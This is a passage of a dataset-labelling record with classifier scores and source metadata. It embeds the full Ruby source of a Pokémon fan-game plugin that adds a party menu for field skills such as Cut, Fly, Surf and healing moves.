7.554175695341088e-06, "Q&A Forum": 9.475262359816975e-06, "Discussion Thread": 6.068023347098553e-06, "Comment Section": 9.313694814031282e-06, "Missing Content": 1.7250873061967274e-05, "Knowledge Article": 5.1940510009389e-05, "Legal Notices": 2.4059091236542106e-05, "News Article": 4.801664400913446e-06, "Organizational Announcement": 1.0529254035567208e-05, "Nonfiction Writing": 1.0451594859803882e-05, "Organizational About Page": 1.4428063756953857e-05, "Personal About Page": 1.0019947553372702e-05, "Personal Blog": 6.45889059667143e-06, "Product Page": 7.025144794920503e-06, "Spam / Ads": 8.225109393196358e-06, "Structured Data": 0.0024823390353417053, "Technical Writing": 0.9959695592343741, "Transcript / Interview": 1.1819823681550041e-05, "Tutorial / How-To Guide": 0.00013545816266401605, "User Reviews": 5.631632196637582e-06, "Other / Unknown": 0.0011369193209266031}, "secondary": {"Academic Writing": 0.00019324569123891518, "Content Listing": 0.00018893062041930057, "Creative Writing": 0.00014439586935379554, "Customer Support Page": 8.330740567617093e-05, "Q&A Forum": 5.789914345556386e-05, "Discussion Thread": 5.0937229956605777e-05, "Comment Section": 8.886131370835271e-05, "Missing Content": 0.0002449000878649514, "Knowledge Article": 0.00025255889433615353, "Legal Notices": 0.00012254461155297656, "News Article": 9.25525289047031e-05, "Organizational Announcement": 8.30776413148852e-05, "Nonfiction Writing": 8.700743079746128e-05, "Organizational About Page": 0.000125751147181531, "Personal About Page": 7.345867557507205e-05, "Personal Blog": 7.232559804421288e-05, "Product Page": 5.1944551789941046e-05, "Spam / Ads": 8.339683278983964e-05, "Structured Data": 0.028268428878805173, "Technical Writing": 0.014308688717548732, "Transcript / Interview": 9.325610179041734e-05, "Tutorial / How-To Guide": 0.00029338529016500434, "User Reviews": 3.6229490286639306e-05, "NONE": 0.9549029162474435}, "tertiary": {"Academic Writing": 6.797194727418776e-05, "Content Listing": 9.193867959034353e-05, "Creative Writing": 5.2589658584708186e-05, "Customer Support Page": 2.7508155896976912e-05, "Q&A Forum": 1.72455732478278e-05, "Discussion Thread": 1.8692116666123512e-05, "Comment Section": 3.563206205504473e-05, "Missing Content": 0.00014526121358032215, "Knowledge Article": 0.00014501400621661073, "Legal Notices": 6.66378967604787e-05, "News Article": 3.3766690657852213e-05, "Organizational Announcement": 3.055143049120547e-05, "Nonfiction Writing": 4.566110998975691e-05, "Organizational About Page": 5.872510058536417e-05, "Personal About Page": 2.8165367789859693e-05, "Personal Blog": 2.4286166874852333e-05, "Product Page": 2.3389369190576737e-05, "Spam / Ads": 3.5537413907728386e-05, "Structured Data": 0.007234907279997636, "Technical Writing": 0.0047463112977338615, "Transcript / Interview": 3.122321720435872e-05, "Tutorial / How-To Guide": 0.00017226867651820287, "User Reviews": 1.4567844163934113e-05, "NONE": 0.9868521477250223}, "structured_records": {"false": 0.8931207482737282, "true": 0.1068792517262718}, "procedural_steps": {"false": 0.9950850745179086, "true": 0.004914925482091427}, "worked_solution": {"false": 0.9981076732604415, "true": 0.0018923267395585459}, "contextual_dialogue": {"false": 0.999994059274103, "true": 5.940725896955103e-06}, "content_quality": {"-2": 0.011795367494138464, "-1": 0.08473559884406515, "0": 0.31812721842688224, "1": 0.44614810737185184, "2": 0.1391937078630624}, "noise_severity": {"0": 0.9913315095953175, "1": 0.007341679712917294, "2": 0.0009226114112729357, "3": 0.0002332028523888635, "4": 0.00017099642810349666}, "missing_content_severity": {"0": 0.9969682657334689, "1": 0.0008585015046676726, "2": 0.0013826920648086281, "3": 0.0006272212858536299, "4": 0.00016331941120116097}, "factual_density": {"0": 0.015232458619269163, "1": 0.061277344354639905, "2": 0.20209523479206598, "3": 0.4188848604392615, "4": 0.30251010179476345}, "pretraining_utility": {"-2": 0.008533096995822104, "-1": 0.09784069959757277, "0": 0.4100637338876548, "1": 0.4094029721023806, "2": 0.07415949741656976}, "math_density": {"0": 0.7316931243327424, "1": 0.17390475915736245, "2": 0.03986836207356512, "3": 0.012664575773011137, "4": 0.04186917866331901}, "code_density": {"0": 0.00021222261956320546, "1": 0.00036502108308118027, "2": 0.008757908300741706, "3": 0.060276810567010806, "4": 0.9303880374296031}, "reasoning_density": {"0": 0.6721371601181075, "1": 0.07063522267392541, "2": 0.12655269815560305, "3": 0.07805925916559645, "4": 0.052615659886767585}, "education_level": {"none": 0.001261930706918514, "0": 0.0017954622384334796, "1": 0.046029719170819335, "2": 0.8199540241701245, "3": 0.12328945320097803, "4": 0.0076694105127261825}, "creative_writing_quality": {"not_applicable": 0.9993843578124677, "-2": 0.00010941224022606728, "-1": 0.000159887367837444, "0": 0.00026067699215023826, "1": 6.151575143253812e-05, "2": 2.4149835886070446e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.24410956451761e-05, "Art & Design": 0.00012874560678248284, "Law & Crime": 9.792684031067103e-05, "Education & Careers": 0.00010324504611175339, "Entertainment & Media": 0.00011737612317580129, "Fashion & Beauty": 0.00010972893440276465, "Business, Economics & Finance": 0.0004099729299261723, "Food & Dining": 9.977141252362164e-05, "Games & Gaming": 0.00031033402797307985, "Electronics & Hardware": 9.949676181009288e-05, "Health, Healthcare & Wellness": 0.00014337949062065466, "History & Geography": 0.00010824797536416592, "Home, Pets & Hobbies": 0.00023168132561860526, "Industry & Production": 0.0001303626401253792, "Language, Literature & Philosophy": 9.409757638114098e-05, "Politics & Government": 6.322282299662094e-05, "Religion & Spirituality": 8.463303834002832e-05, "Science, Mathematics & Engineering": 0.0008881523987885691, "Relationships & Community": 0.00025736355307830904, "Software Usage & Applications": 0.0003266245904195652, "Programming & Software Engineering": 0.953240711749468, "Sports & Fitness": 0.04127307846825379, "Vehicles & Transportation": 9.624354631926926e-05, "Travel & Tourism": 0.00011022376505180137, "Other / Uncovered Subject": 0.001271719797572039, "Unknown / Insufficient Content": 0.00013121848294053235}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008749320703976146, "Art & Design": 0.0009642820516235719, "Law & Crime": 0.0008338097400173212, "Education & Careers": 0.0006353727797571314, "Entertainment & Media": 0.000970387746177713, "Fashion & Beauty": 0.000661265601237109, "Business, Economics & Finance": 0.0016966525556525928, "Food & Dining": 0.00056476097341185, "Games & Gaming": 0.0008934406226394751, "Electronics & Hardware": 0.0005917182449923426, "Health, Healthcare & Wellness": 0.0012640247532814423, "History & Geography": 0.0006769819256602618, "Home, Pets & Hobbies": 0.0013751755142510766, "Industry & Production": 0.000600741043094642, "Language, Literature & Philosophy": 0.00034962537974529895, "Politics & Government": 0.0004046790831893753, "Religion & Spirituality": 0.0006350889608848756, "Science, Mathematics & Engineering": 0.014921582361440195, "Relationships & Community": 0.0007224284659631418, "Software Usage & Applications": 0.0007125263054066611, "Programming & Software Engineering": 0.1086833578716545, "Sports & Fitness": 0.5972695876523711, "Vehicles & Transportation": 0.0008033618802752553, "Travel & Tourism": 0.0007760155743319933, "Other / Uncovered Subject": 0.004871205230615688, "NONE": 0.2572469956119277}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11228, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11228, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:18.824108+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "67574369-555f-4408-ab01-d9b544bf13e0", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2da3bdf462a0dd13e4ea66142ea12457eba576d0d52386755270e3b7b25e203b", "source_metadata": {"uuid": "67574369-555f-4408-ab01-d9b544bf13e0", "repo_name": "iherdt/rungraphs", "relative_path": "lib/rungraphs/analytics/nyrr_race_results_analytics_provider.rb", "category": "TOOL", "algo_rel_score": 0.9343150854110718, "quality_score": 5.180605888366699, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 453, "repo_created_at": "2019-03-18T20:45:53.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "9a4d1b07b8b65a6f032d332434f687b35a6f6cad", "size_bytes": 11625, "file_timestamp": 1489010523, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "98cd14f386b53355a3bdd1dc3017ce0d73257e3d"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 453, "repo_created_at": "2019-03-18T20:45:53.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "9a4d1b07b8b65a6f032d332434f687b35a6f6cad", "size_bytes": 11625, "file_timestamp": 1489010523, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "98cd14f386b53355a3bdd1dc3017ce0d73257e3d", "url": "https://github.com/iherdt/rungraphs/blob/98cd14f386b53355a3bdd1dc3017ce0d73257e3d/lib/rungraphs/analytics/nyrr_race_results_analytics_provider.rb"}, "gpt4o_tokens": 2571, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.6162091892656346, "noise_severity": 0.010570496805043742, "missing_content_severity": 0.006158827136650462, "factual_density": 2.9321628024356103, "pretraining_utility": 0.4428150733463031, "math_density": 0.4591119252768021, "code_density": 3.920263419104009, "reasoning_density": 0.7683810360289912, "education_level": 2.089120093961918, "creative_writing_quality": -0.4367738769864052}, "score_applicability": {"education_level": 0.9987380692930815, "creative_writing_quality": 0.0006156421875323581}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/SrHaruno/Pokemon-God/blob/46ca97ec9e33880d2313216c5c0a332bcc4a61c6/Plugins/Improved%20Field%20Skills/%5B001%5D%20Field%20Skills.rb", "id": "ruby-0-f064c98acab4a0cd5d4735d7024b7f84", "text": "#===============================================================================\n# Field Skill species data.\n#===============================================================================\nmodule GameData\n class Species\n def has_skill?(skill)\n skill = skill.upcase.to_sym if skill.is_a?(String)\n\t return true if @moves.any? { |m| m[1] == skill }\n\t return true if @tutor_moves.include?(skill)\n\t return true if @egg_moves.include?(skill)\n return false\n end\n end\nend\n\n\n#===============================================================================\n# Miscellaneous checks for Field Skills.\n#===============================================================================\ndef pbBadgeFromSkill(skill)\n case skill\n when :CUT then badge = Settings::BADGE_FOR_CUT\n when :FLY then badge = Settings::BADGE_FOR_FLY\n when :DIVE then badge = Settings::BADGE_FOR_DIVE\n when :FLASH then badge = Settings::BADGE_FOR_FLASH\n when :ROCKSMASH then badge = Settings::BADGE_FOR_ROCKSMASH\n when :STRENGTH then badge = Settings::BADGE_FOR_STRENGTH\n when :SURF then badge = Settings::BADGE_FOR_SURF\n when :WATERFALL then badge = Settings::BADGE_FOR_WATERFALL\n else badge = -1\n end\n return badge\nend\n\nclass Pokemon\n def has_field_skill?\n return false if egg?\n # Checks for HM Skills.\n Settings::HM_SKILLS.each do |skill| \n next if !GameData::Move.exists?(skill)\n next if !HiddenMoveHandlers.hasHandler(skill)\n if Settings::HM_SKILLS_REQUIRE_BADGE\n badge = pbBadgeFromSkill(skill)\n next if badge > 0 && !pbCheckHiddenMoveBadge(badge, false)\n end\n return true if self.species_data.has_skill?(skill) || self.hasMove?(skill)\n end\n # Checks for Misc. Skills.\n Settings::MISC_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n next if !HiddenMoveHandlers.hasHandler(skill)\n next if Settings::MISC_SKILLS_REQUIRE_MOVE && !self.hasMove?(skill)\n return true if self.species_data.has_skill?(skill) || self.hasMove?(skill)\n end\n # Checks for Heal Skills.\n Settings::HEAL_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n next if Settings::HEAL_SKILLS_REQUIRE_MOVE && !self.hasMove?(skill)\n return true if self.species_data.has_skill?(skill) || self.hasMove?(skill)\n end\n # Checks for other skills\n Settings::CUSTOM_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n next if Settings::CUSTOM_SKILLS_REQUIRE_MOVE && !self.hasMove?(skill)\n return true if self.species_data.has_skill?(skill) || self.hasMove?(skill)\n end\n return false\n end\nend\n\nclass Trainer\n def get_pokemon_with_move(move)\n pokemon_party.each { |pkmn| return pkmn if pkmn.hasMove?(move) || pkmn.species_data.has_skill?(move) }\n return nil\n end\n \n def get_pokemon_with_skill(skill)\n pokemon_party.each { |pkmn| return pkmn if pkmn.species_data.has_skill?(skill) }\n return nil\n end\nend\n \n\n#===============================================================================\n# Field Skill menu handler.\n#===============================================================================\nMenuHandlers.add(:party_menu, :field_skill, {\n \"name\" => _INTL(\"Skills\"),\n \"order\" => 21,\n \"text_color\" => :Blue,\n \"field_skill\" => true,\n \"condition\" => proc { |screen, party, party_idx| next party[party_idx].has_field_skill? },\n \"effect\" => proc { |screen, party, party_idx|\n ret = nil\n pkmn = party[party_idx]\n command = 0\n loop do\n skills = []\n commands = []\n #-------------------------------------------------------------------------\n # Adds HM Skills.\n #-------------------------------------------------------------------------\n Settings::HM_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n next if !HiddenMoveHandlers.hasHandler(skill)\n next if !pkmn.species_data.has_skill?(skill) && !pkmn.hasMove?(skill)\n badge = pbBadgeFromSkill(skill)\n next if Settings::HM_SKILLS_REQUIRE_BADGE && badge > 0 && !pbCheckHiddenMoveBadge(badge, false)\n color = (pbCanUseHiddenMove?(pkmn, skill, false) && pbCheckHiddenMoveBadge(badge, false)) ? :Blue : :Gray\n commands.push([GameData::Move.get(skill).name, color])\n skills.push(skill)\n end\n #-------------------------------------------------------------------------\n # Adds Misc. Skills.\n #-------------------------------------------------------------------------\n Settings::MISC_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n next if !HiddenMoveHandlers.hasHandler(skill)\n if Settings::MISC_SKILLS_REQUIRE_MOVE\n next if !pkmn.hasMove?(skill)\n else\n next if !pkmn.species_data.has_skill?(skill) && !pkmn.hasMove?(skill)\n end\n color = (pbCanUseHiddenMove?(pkmn, skill, false)) ? :Blue : :Gray\n commands.push([GameData::Move.get(skill).name, color])\n skills.push(skill)\n end\n #-------------------------------------------------------------------------\n # Adds Heal Skills.\n #-------------------------------------------------------------------------\n Settings::HEAL_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n if Settings::HEAL_SKILLS_REQUIRE_MOVE\n next if !pkmn.hasMove?(skill)\n else\n next if !pkmn.species_data.has_skill?(skill) && !pkmn.hasMove?(skill)\n end\n color = (pkmn.hp >= [(pkmn.totalhp / 5).floor, 1].max) ? :Blue : :Gray\n commands.push([GameData::Move.get(skill).name, color])\n skills.push(skill)\n end\n #-------------------------------------------------------------------------\n # Adds Other Skills.\n #-------------------------------------------------------------------------\n Settings::CUSTOM_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n if Settings::CUSTOM_SKILLS_REQUIRE_MOVE\n next if !pkmn.hasMove?(skill)\n else\n next if !pkmn.species_data.has_skill?(skill) && !pkmn.hasMove?(skill)\n end\n color = :Blue\n pkmn.moves.each do |move|\n next if move.id != skill\n color = :Gray if move.pp <= 0\n end\n commands.push([GameData::Move.get(skill).name, color])\n skills.push(skill)\n end\n break if skills.empty?\n commands.push(\"Cancel\")\n command = screen.scene.pbShowCommands(_INTL(\"Do what with {1}?\", pkmn.name), commands, command)\n break if command < 0 || command >= commands.length - 1\n movename = commands[command]\n #-------------------------------------------------------------------------\n # Performs Custom Skill effects.\n #-------------------------------------------------------------------------\n if Settings::CUSTOM_SKILLS.include?(skills[command])\n idxMove = 0\n if Settings::CUSTOM_SKILLS_REQUIRE_MOVE\n pkmn.moves.each_with_index { |m, i| idxMove = i if m.id == skills[command] }\n if pkmn.moves[idxMove].pp <= 0\n screen.scene.pbDisplay(_INTL(\"Not enough PP...\"))\n next\n end\n end\n case skills[command]\n #-----------------------------------------------------------------------\n # ***CUSTOM MOVE SECTION***\n #-----------------------------------------------------------------------\n when :RECOVER\n usedMove = pbRecoverPartySkill(pkmn, movename, screen, party_idx)\n when :LIFEDEW\n usedMove = pbLifeDewPartySkill(pkmn, movename, screen, party, party_idx)\n when :HEALBELL, :AROMATHERAPY\n usedMove = pbStatusPartySkill(pkmn, movename, screen, party, party_idx)\n when :INSTRUCT\n usedMove = pbInstructPartySkill(pkmn, movename, screen, party, party_idx, idxMove)\n when :SKETCH\n usedMove = pbSketchPartySkill(pkmn, movename, screen, party, party_idx)\n when :FUTURESIGHT\n usedMove = pbFutureSightPartySkill(pkmn, movename, screen, party, party_idx, idxMove)\n #-----------------------------------------------------------------------\n else\n usedMove = 0\n screen.scene.pbDisplay(_INTL(\"This move can't be used right now.\"))\n next\n end\n if Settings::CUSTOM_SKILLS_REQUIRE_MOVE\n move = pkmn.moves[idxMove]\n if usedMove > 0 && move.id == skills[command]\n reduce = [usedMove, move.pp].min\n move.pp -= reduce\n case move.pp\n when 0 then text = \"ran out of PP...\"\n else text = \"had its PP reduced by #{reduce}!\"\n end\n screen.scene.pbDisplay(_INTL(\"{1}'s {2} {3}\", pkmn.name, move.name, text))\n end\n end\n #-------------------------------------------------------------------------\n # Performs Heal Skill effects.\n #-------------------------------------------------------------------------\n elsif Settings::HEAL_SKILLS.include?(skills[command])\n amt = [(pkmn.totalhp / 5).floor, 1].max\n if pkmn.hp <= amt\n screen.scene.pbDisplay(_INTL(\"Not enough HP...\"))\n next\n else\n pbHealPartySkill(pkmn, movename, screen, party, party_idx)\n end\n #-------------------------------------------------------------------------\n # Performs HM and miscellaneous field skill effects.\n #-------------------------------------------------------------------------\n else\n if pbCanUseHiddenMove?(pkmn, skills[command])\n if pbConfirmUseHiddenMove(pkmn, skills[command])\n screen.scene.pbEndScene\n if skills[command] == :FLY\n new_scene = PokemonRegionMap_Scene.new(-1, false)\n new_screen = PokemonRegionMapScreen.new(new_scene)\n ret = new_screen.pbStartFlyScreen\n if ret\n $game_temp.fly_destination = ret\n ret = [pkmn, skills[command]]\n break\n end\n screen.scene.pbStartScene(\n party, (party.length > 1) ? _INTL(\"Choose a Pokémon.\") : _INTL(\"Choose Pokémon or cancel.\")\n )\n break\n end\n ret = [pkmn, skills[command]]\n end\n break if ret\n end\n end\n end\n next ret\n }\n})\n\n\n#===============================================================================\n# Ready Menu compatibility.\n#===============================================================================\ndef pbUseKeyItem\n real_moves = []\n # Adds available HM Skills.\n Settings::HM_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n next if !HiddenMoveHandlers.hasHandler(skill)\n $player.party.each_with_index do |pkmn, i|\n next if pkmn.egg?\n next if !pkmn.species_data.has_skill?(skill) && !pkmn.hasMove?(skill)\n if Settings::HM_SKILLS_REQUIRE_BADGE\n badge = pbBadgeFromSkill(skill)\n next if badge > 0 && !pbCheckHiddenMoveBadge(badge, false)\n end\n real_moves.push([skill, i]) if pbCanUseHiddenMove?(pkmn, skill, false)\n break\n end\n end\n # Adds available Misc. Skills.\n Settings::MISC_SKILLS.each do |skill|\n next if !GameData::Move.exists?(skill)\n next if !HiddenMoveHandlers.hasHandler(skill)\n $player.party.each_with_index do |pkmn, i|\n next if pkmn.egg?\n next if Settings::MISC_SKILLS_REQUIRE_MOVE && !pkmn.hasMove?(skill)\n next if !pkmn.species_data.has_skill?(skill) && !pkmn.hasMove?(skill)\n real_moves.push([skill, i]) if pbCanUseHiddenMove?(pkmn, skill, false)\n break\n end\n end\n real_items = []\n $bag.registered_items.each do |i|\n itm = GameData::Item.get(i).id\n real_items.push(itm) if $bag.has?(itm)\n end\n if real_items.length == 0 && real_moves.length == 0\n pbMessage(_INTL(\"An item in the Bag can be registered to this key for instant use.\"))\n else\n $game_temp.in_menu = true\n $game_map.update\n sscene = PokemonReadyMenu_Scene.new\n sscreen = PokemonReadyMenu.new(sscene)\n sscreen.pbStartReadyMenu(real_moves, real_items)\n $game_temp.in_menu = false\n end\nend", "text_preview": "#=============================================================================== # Field Skill species data. #=============================================================================== module GameData class Species def has_skill?(skill", "input_sha256": "af1f2cae98f0f57aa5fcc594dca6047ac3f39d687c9603df4a1715c9577c3fb4", "text_sha256": "f064c98acab4a0cd5d4735d7024b7f84b61a1e94291178a2a1abd7e76a260c64", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16015, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1157910221536425, "noise_severity": 0.06315583217908141, "missing_content_severity": 0.022787590020055933, "factual_density": 3.2319522674430483, "pretraining_utility": 0.32337844800515014, "math_density": 0.47268434645765967, "code_density": 3.8665247067325548, "reasoning_density": 1.0670609091834728, "education_level": 2.119811566989679, "creative_writing_quality": -0.31709202152077504}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.013856245381684285, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9974295829154438, "secondary": 0.9695126115443566, "tertiary": 0.9839713023774186, "structured_records": 0.07359022260096176, "procedural_steps": 0.0034539895445813078, "worked_solution": 0.0007162958526980421, "contextual_dialogue": 5.703010997800084e-06, "content_quality": 0.5789608067352625, "noise_severity": 0.9473701398507655, "missing_content_severity": 0.9810103416499534, "factual_density": 0.35996022286920704, "pretraining_utility": 0.4710545318727448, "math_density": 0.6060963779519504, "code_density": 0.8887705889437953, "reasoning_density": 0.11078257568043925, "education_level": 0.6707375205305769, "creative_writing_quality": 0.9993832465952575, "primary_topic": 0.9277766699324481, "secondary_topic": 0.5318908793636943}, "probability_margin": {"primary": 0.9961875153725416, "secondary": 0.9572699656453543, "tertiary": 0.9775641192851567, "education_level": 0.5667734695132055, "creative_writing_quality": 0.9992752069386652, "primary_topic": 0.8653220385260717, "secondary_topic": 0.19523278303472763}, "raw_probabilities": {"primary": {"Academic Writing": 1.6399054806205462e-05, "Content Listing": 1.3891163201857613e-05, "Creative Writing": 3.1283239160797915e-05, "Customer Support Page": 6.256298595710427e-06, "Q&A Forum": 6.313288791314367e-06, "Discussion Thread": 4.3583237163591186e-06, "Comment Section": 7.91894025595767e-06, "Missing Content": 1.2374029226933437e-05, "Knowledge Article": 5.689280146933195e-05, "Legal Notices": 1.794621628697814e-05, "News Article": 2.7890490643693445e-06, "Organizational Announcement": 7.368077014505654e-06, "Nonfiction Writing": 6.348481887104747e-06, "Organizational About Page": 6.060366893344745e-06, "Personal About Page": 7.076588980424298e-06, "Personal Blog": 6.11226046883563e-06, "Product Page": 6.151293857305142e-06, "Spam / Ads": 6.742711737942946e-06, "Structured Data": 0.0006890285749878853, "Technical Writing": 0.9975366836273003, "Transcript / Interview": 8.095005068003027e-06, "Tutorial / How-To Guide": 0.00018998969451567183, "User Reviews": 4.752657954061762e-06, "Other / Unknown": 0.0013491682547587017}, "secondary": {"Academic Writing": 0.00014810167920160973, "Content Listing": 0.0002405874711917354, "Creative Writing": 0.0010066074313349364, "Customer Support Page": 0.00010339912903227735, "Q&A Forum": 5.1131831975945164e-05, "Discussion Thread": 4.6438885314310134e-05, "Comment Section": 0.0003097570713176193, "Missing Content": 0.0003412251159194974, "Knowledge Article": 0.0012367545604612395, "Legal Notices": 0.00025403226457749594, "News Article": 6.817980607870307e-05, "Organizational Announcement": 7.63639142431362e-05, "Nonfiction Writing": 8.214009694874569e-05, "Organizational About Page": 8.351170847788536e-05, "Personal About Page": 7.417230009223369e-05, "Personal Blog": 7.28767201983401e-05, "Product Page": 5.236091439020782e-05, "Spam / Ads": 9.038203235194212e-05, "Structured Data": 0.010015443682803247, "Technical Writing": 0.01351295375132085, "Transcript / Interview": 8.136792050849772e-05, "Tutorial / How-To Guide": 0.001231816605449446, "User Reviews": 3.747571013493243e-05, "NONE": 0.9707829193966752}, "tertiary": {"Academic Writing": 7.359924889874199e-05, "Content Listing": 0.00019203567927735972, "Creative Writing": 0.0007582612550438166, "Customer Support Page": 6.388759988689104e-05, "Q&A Forum": 2.624213234319895e-05, "Discussion Thread": 2.5071337927554155e-05, "Comment Section": 0.0002045034949191847, "Missing Content": 0.0002844372053477434, "Knowledge Article": 0.0010011091715471075, "Legal Notices": 0.00033825398239390174, "News Article": 3.816645916443507e-05, "Organizational Announcement": 4.481220396170197e-05, "Nonfiction Writing": 5.144049420831932e-05, "Organizational About Page": 5.09753862239728e-05, "Personal About Page": 4.438693633833418e-05, "Personal Blog": 3.942473725581031e-05, "Product Page": 3.753735091170403e-05, "Spam / Ads": 6.381903182244619e-05, "Structured Data": 0.003916115796141416, "Technical Writing": 0.007075045493202712, "Transcript / Interview": 4.7763318950360734e-05, "Tutorial / How-To Guide": 0.0009605608050866966, "User Reviews": 2.33861007872273e-05, "NONE": 0.9846391647783594}, "structured_records": {"false": 0.9264097773990383, "true": 0.07359022260096176}, "procedural_steps": {"false": 0.9965460104554187, "true": 0.0034539895445813078}, "worked_solution": {"false": 0.9992837041473019, "true": 0.0007162958526980421}, "contextual_dialogue": {"false": 0.9999942969890022, "true": 5.703010997800084e-06}, "content_quality": {"-2": 0.004783969263179627, "-1": 0.012388458653777343, "0": 0.15559917978492768, "1": 0.5167093652624516, "2": 0.31051902703566375}, "noise_severity": {"0": 0.9428760128024585, "1": 0.05288896027474432, "2": 0.0029473769136041388, "3": 0.0007784819596434407, "4": 0.0005091680495496226}, "missing_content_severity": {"0": 0.9881948932713345, "1": 0.0035709617991711564, "2": 0.005731687671264967, "3": 0.002256576154562644, "4": 0.00024588110366672683}, "factual_density": {"0": 0.008363959225600287, "1": 0.01432123192140491, "2": 0.1373491716196081, "3": 0.4169298566511194, "4": 0.42303578058226726}, "pretraining_utility": {"-2": 0.010129936319745545, "-1": 0.13541818423428695, "0": 0.43856918205768886, "1": 0.3527088898976287, "2": 0.06317380749064971}, "math_density": {"0": 0.6959860644871202, "1": 0.21630439247998448, "2": 0.04266015933075858, "3": 0.009137899492388345, "4": 0.035911484209748226}, "code_density": {"0": 0.0001868255186948542, "1": 0.00034893500962602744, "2": 0.009990193860160413, "3": 0.1117007984434672, "4": 